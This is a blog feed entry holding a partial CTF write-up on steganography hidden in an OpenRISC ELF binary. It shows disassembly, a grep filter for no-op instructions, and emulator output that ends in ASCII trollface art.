<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Martin Heistermann's blog</title><link href="https://blog.mheistermann.de/" rel="alternate"></link><link href="https://blog.mheistermann.de/atom.xml" rel="self"></link><id>https://blog.mheistermann.de/</id><updated>2015-07-12T18:10:36+02:00</updated><entry><title>"PoliCTF 2015 'trollface' Writeup"</title><link href="https://blog.mheistermann.de/2015/07/12/polictf-2015-trollface-writeup/" rel="alternate"></link><published>2015-07-12T18:10:36+02:00</published><updated>2015-07-12T18:10:36+02:00</updated><author><name>Martin Heistermann</name></author><id>tag:blog.mheistermann.de,2015-07-12:/2015/07/12/polictf-2015-trollface-writeup/</id><summary type="html">&lt;p&gt;ELF Steganography&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;I think something is hidden here, something that may seem useless.
GPG key: yaxceburkaukvefinneuvUvjueknykfa&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;» file trollface
trollface: ELF 32-bit MSB executable, OpenRISC, version 1 (SYSV), statically linked, not stripped
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/OpenRISC"&gt;OpenRISC&lt;/a&gt;, cool! It's for an open
source CPU! Let's see where the flag is hidden...
&lt;!-- more --&gt;&lt;/p&gt;
&lt;p&gt;I had no success running the binary using qemu, although it has support for the &lt;code&gt;or32&lt;/code&gt; arch:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c"&gt;% qemu-or32 ./trollface&lt;/span&gt;
&lt;span class="n"&gt;PC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00025&lt;/span&gt;&lt;span class="n"&gt;d2c&lt;/span&gt;
&lt;span class="n"&gt;R00&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R01&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;007&lt;/span&gt;&lt;span class="n"&gt;fe000&lt;/span&gt; &lt;span class="n"&gt;R02&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;007&lt;/span&gt;&lt;span class="n"&gt;fe000&lt;/span&gt; &lt;span class="n"&gt;R03&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00002000&lt;/span&gt;
&lt;span class="n"&gt;R04&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;007&lt;/span&gt;&lt;span class="n"&gt;fc000&lt;/span&gt; &lt;span class="n"&gt;R05&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;000292&lt;/span&gt;&lt;span class="n"&gt;ac&lt;/span&gt; &lt;span class="n"&gt;R06&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R07&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;span class="n"&gt;R08&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R09&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;000020e4&lt;/span&gt; &lt;span class="n"&gt;R10&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R11&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;span class="n"&gt;R12&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R13&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R14&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R15&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;span class="n"&gt;R16&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R17&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R18&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R19&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;span class="n"&gt;R20&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R21&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R22&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R23&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;span class="n"&gt;R24&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R25&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R26&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R27&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;span class="n"&gt;R28&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R29&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R30&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt; &lt;span class="n"&gt;R31&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;00000000&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Time to download a toolchain - conveniently available in binary form as
&lt;code&gt;gcc-or1k-elf-4.8.1-x86_64.tar.bz2&lt;/code&gt; somewhere on the web.&lt;/p&gt;
&lt;p&gt;Looking at the disassembly using gdb or objdump, we see a huuuge main function,
over 32000 instructions long! However even without knowing much about
the architecture, we can see that most instructions don't have any effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;[...]&lt;/span&gt;
   &lt;span class="na"&gt;0x00002738 &amp;lt;+32&amp;gt;:    l.addi r16,r16,0&lt;/span&gt;
   &lt;span class="na"&gt;0x0000273c &amp;lt;+36&amp;gt;:    l.nop 0x4141&lt;/span&gt;
   &lt;span class="na"&gt;0x00002740 &amp;lt;+40&amp;gt;:    l.ori r19,r19,0x0&lt;/span&gt;
   &lt;span class="na"&gt;0x00002744 &amp;lt;+44&amp;gt;:    l.addi r2,r0,32&lt;/span&gt;
   &lt;span class="na"&gt;0x00002748 &amp;lt;+48&amp;gt;:    l.sb 0(r1),r2&lt;/span&gt;
   &lt;span class="na"&gt;0x0000274c &amp;lt;+52&amp;gt;:    l.nop 0x4141&lt;/span&gt;
   &lt;span class="na"&gt;0x00002750 &amp;lt;+56&amp;gt;:    l.muli r5,r5,1&lt;/span&gt;
   &lt;span class="na"&gt;0x00002754 &amp;lt;+60&amp;gt;:    l.nop 0x4141&lt;/span&gt;
   &lt;span class="na"&gt;0x00002758 &amp;lt;+64&amp;gt;:    l.ori r2,r2,0x0&lt;/span&gt;
&lt;span class="k"&gt;[...]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I tried filtering them using grep ( &lt;code&gt;grep -Ev "nop|(addi?|subi?|ori?) (r[0-9]+),\\2,(0|r0|0x0)|(muli?) (r[0-9]+),\\5,1"&lt;/code&gt;),
however over 5800 mostly 'proper' instructions remained, likely autogenerated.&lt;/p&gt;
&lt;p&gt;The toolchain comes with an emulator, so we can just run the binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="err"&gt;»&lt;/span&gt; &lt;span class="nt"&gt;gcc-or1k-elf-4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1-x86_64&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;or1k-elf-run&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nt"&gt;trollface&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00003066&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00004d56&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00006752&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00004345&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00005141&lt;/span&gt;
&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;...&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00004141&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00004141&lt;/span&gt;
&lt;span class="nt"&gt;WARNING&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nop&lt;/span&gt; &lt;span class="nt"&gt;with&lt;/span&gt; &lt;span class="nt"&gt;unsupported&lt;/span&gt; &lt;span class="nt"&gt;code&lt;/span&gt; &lt;span class="nt"&gt;0x00004141&lt;/span&gt;
                                       &lt;span class="o"&gt;.....&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; ,;;::cccllllllllllllcccc:::;;,,,  ...  ,, ..&lt;/span&gt;
&lt;span class="s1"&gt;                            .. ;cldkO00KXNNNNXX KK000OOkkkkkxxxxxddoooddddddxxxxkkkkOO0  Kx:.&lt;/span&gt;
&lt;span class="s1"&gt;                      . :ok0K   N K0kxolc:;;,,,,;;;;;;;;;;;;       ;;  ..              . lOXKd &lt;/span&gt;
&lt;span class="s1"&gt;                 . lx00Oxl:x ............      ...................    ....;. .             .oKXd.&lt;/span&gt;
&lt;span class="s1"&gt;              .ckKKkc ...  .:::.. .........  ...::::.. ..........  ..... .. .    .            kNKc.&lt;/span&gt;
&lt;span class="s1"&gt;           .:kXXk .    ..       ..................          .............. c  ...;  .         .dNNx.&lt;/span&gt;
&lt;span class="s1"&gt;           0NKd,          .....   ,,,,  ..                ,........... ,,,  ,,  ,...,,.        .dNNx.&lt;/span&gt;
&lt;span class="s1"&gt;         . Xd.         .:;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;         &lt;span class="o"&gt;..,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;             . ,.               ...,,&amp;#39;&amp;#39;  &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;       &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;oNNo&lt;/span&gt;
         &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;0K&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;         &lt;span class="o"&gt;.;.&lt;/span&gt;              &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;              &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;                      &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;...&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;           &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;XX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;oNO&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;         &lt;span class="o"&gt;.&lt;/span&gt;                 &lt;span class="o"&gt;,.&lt;/span&gt;              &lt;span class="o"&gt;.&lt;/span&gt;     &lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; ::ccc:; ..     ..                lXX:&lt;/span&gt;
&lt;span class="s1"&gt;       .dNd:               ......       ;.                &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;cxOKK0OXWWWWWWWNX0kc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;                    &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;KXd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
     &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;l&lt;/span&gt; &lt;span class="nt"&gt;N&lt;/span&gt; &lt;span class="o"&gt;;&lt;/span&gt;             &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;d&lt;/span&gt; &lt;span class="nt"&gt;KKKKKXK&lt;/span&gt; &lt;span class="nt"&gt;ko&lt;/span&gt;&lt;span class="o"&gt;:...&lt;/span&gt;              &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;l&lt;/span&gt;   &lt;span class="nt"&gt;xc&lt;/span&gt;&lt;span class="o"&gt;,..&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;l&lt;/span&gt; &lt;span class="nt"&gt;WWW&lt;/span&gt;     &lt;span class="nt"&gt;KO&lt;/span&gt; &lt;span class="nt"&gt;Kx&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;                   ,ONKo.&lt;/span&gt;
&lt;span class="s1"&gt;   .lKNKl... ...... . .dXWN0kkk0N     N0o.            :KN0;.  .,cokX  NNNN NKkxONK: .,:c:.      .&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;;;;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;lk0XXx&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;KN0&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;  :&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;         &lt;span class="o"&gt;.,&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;lodxxkO00KXNWWWX000k&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;       &lt;span class="nt"&gt;oXNx&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;okKX0kdl&lt;/span&gt;&lt;span class="o"&gt;:::;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;coxkkd&lt;/span&gt;  &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;. ...&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.......&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; :lxKO:.&lt;/span&gt;
&lt;span class="s1"&gt; oNNk ;c &amp;#39;&amp;#39; .                      ...;xNNOc .          d0X0xc .     .dOd            ..;dOKXK     Ox:.   ..&amp;#39;&amp;#39;dKO &lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;KW&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; : . :.. oxkkkdl;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;                &lt;span class="s1"&gt;&amp;#39;KK&amp;#39;&lt;/span&gt;              &lt;span class="o"&gt;..&lt;/span&gt;           &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;dXX0o&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;....,:oOXNN0d;.&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;..,&lt;/span&gt;&lt;span class="nt"&gt;lOKd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;   &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;KXl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;XNd&lt;/span&gt;&lt;span class="o"&gt;,;&lt;/span&gt;  &lt;span class="o"&gt;;.&lt;/span&gt; &lt;span class="nt"&gt;l00kxoooxKXKx&lt;/span&gt;&lt;span class="o"&gt;:.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ld&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;         &lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;                             .:dkO000000Okxl;.   c0;      :  ;   .  ;XXc&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;XXdc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="o"&gt;:.&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;kNNNKKKk,      .,dKNO.                                   ....       . c0NO       :X0.  ,.  xN0.&lt;/span&gt;
&lt;span class="s1"&gt;.kNOc   ,.      .00. ..  ...      .l0X0d;.              dOkxo;...                    .;okK K0KN x;.   .0 :  ,.  lN &amp;#39;&lt;/span&gt;
 &lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;KKdl&lt;/span&gt;  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;c&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;dN&lt;/span&gt; &lt;span class="o"&gt;,&lt;/span&gt;            &lt;span class="o"&gt;.;&lt;/span&gt;&lt;span class="nt"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;W&lt;/span&gt; &lt;span class="nt"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;                &lt;span class="o"&gt;.;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;coO&lt;/span&gt; &lt;span class="nt"&gt;O&lt;/span&gt;&lt;span class="o"&gt;,,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.......       .,lx0  Oo;...oNWN  k:.&amp;#39;&lt;/span&gt;  &lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;   dN .&lt;/span&gt;
&lt;span class="s1"&gt;  :  kc&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;....&lt;/span&gt;  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;dNW&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;l0N NKl.          ,lxkkkxo  .cK0.          ..;lx0 N 0xc.     ,0Nx . , .k o  .,  ,KNx.&lt;/span&gt;
&lt;span class="s1"&gt;   c  d,,;:, .  WNNK      . ..  . . dKk;        .c   ll x;.x  l     ..,cdOK   00N c.        KWK      ;k:  .l. ,0Nk.&lt;/span&gt;
&lt;span class="s1"&gt;    cXNx.  . ,KWX0NNNXOl .           .o0Ooldk;            . c;.  lxOKKK0xo ,.. ;XX    .,lOXW Xd.      . . :,.lKXd.&lt;/span&gt;
&lt;span class="s1"&gt;     lXNo    cX   XooN NXKko; ..       .lk0x;       ...,:ldk0KXNNOo:,..       ,O NOxO0KXXNWNO,        ....&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;l0&lt;/span&gt; &lt;span class="nt"&gt;k&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;dNK&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;   &lt;span class="nt"&gt;oNWWNo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;c&lt;/span&gt; &lt;span class="nt"&gt;K&lt;/span&gt;&lt;span class="o"&gt;;;&lt;/span&gt;&lt;span class="nt"&gt;oO&lt;/span&gt; &lt;span class="nt"&gt;NN&lt;/span&gt; &lt;span class="nt"&gt;K0kxdolllllooooddxk00KKKK0kdoc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;c0No&lt;/span&gt;        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ck WWWN kc,;kNKl.          ., XX ,&lt;/span&gt;
&lt;span class="s1"&gt;      &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;KXc&lt;/span&gt;  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;dNWWX&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;xN&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;lodx&lt;/span&gt; &lt;span class="nt"&gt;OXWN0O&lt;/span&gt; &lt;span class="nt"&gt;xdlcxNKl&lt;/span&gt;&lt;span class="o"&gt;,..&lt;/span&gt;        &lt;span class="nt"&gt;oN0&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;..,:ox0XNWWNNWXo.  ,ONO&amp;#39;&lt;/span&gt;           &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;o0X&lt;/span&gt; &lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ONo&lt;/span&gt;    &lt;span class="nt"&gt;oNWWN0xXWK&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;oNKc&lt;/span&gt;       &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ONx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;      &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;X0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;          &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;XNKKNN&lt;/span&gt;    &lt;span class="nt"&gt;NK&lt;/span&gt; &lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;N&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;cKXo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;           &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ON0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;d&lt;/span&gt;   &lt;span class="nt"&gt;c&lt;/span&gt; &lt;span class="nt"&gt;WWWWWWWWKO&lt;/span&gt; &lt;span class="nt"&gt;K&lt;/span&gt; &lt;span class="nt"&gt;Xxl&lt;/span&gt;&lt;span class="o"&gt;:,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;...;0Xo&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.....&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lXK;...&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;lx&lt;/span&gt; &lt;span class="nt"&gt;0K&lt;/span&gt; &lt;span class="nt"&gt;WWWW&lt;/span&gt;  &lt;span class="nt"&gt;KOd&lt;/span&gt;&lt;span class="o"&gt;:..&lt;/span&gt;   &lt;span class="nt"&gt;lXKclO&lt;/span&gt; &lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;xNk&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
       &lt;span class="nt"&gt;dXd&lt;/span&gt;   &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;XWWWWWWWWWWWWWWWWWWNNNNNWWNNNNNNNNNWWNNNNNNWWWWWNXKNNk&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;           &lt;span class="nt"&gt;dNWWXd&lt;/span&gt;              &lt;span class="nt"&gt;cXO&lt;/span&gt; 
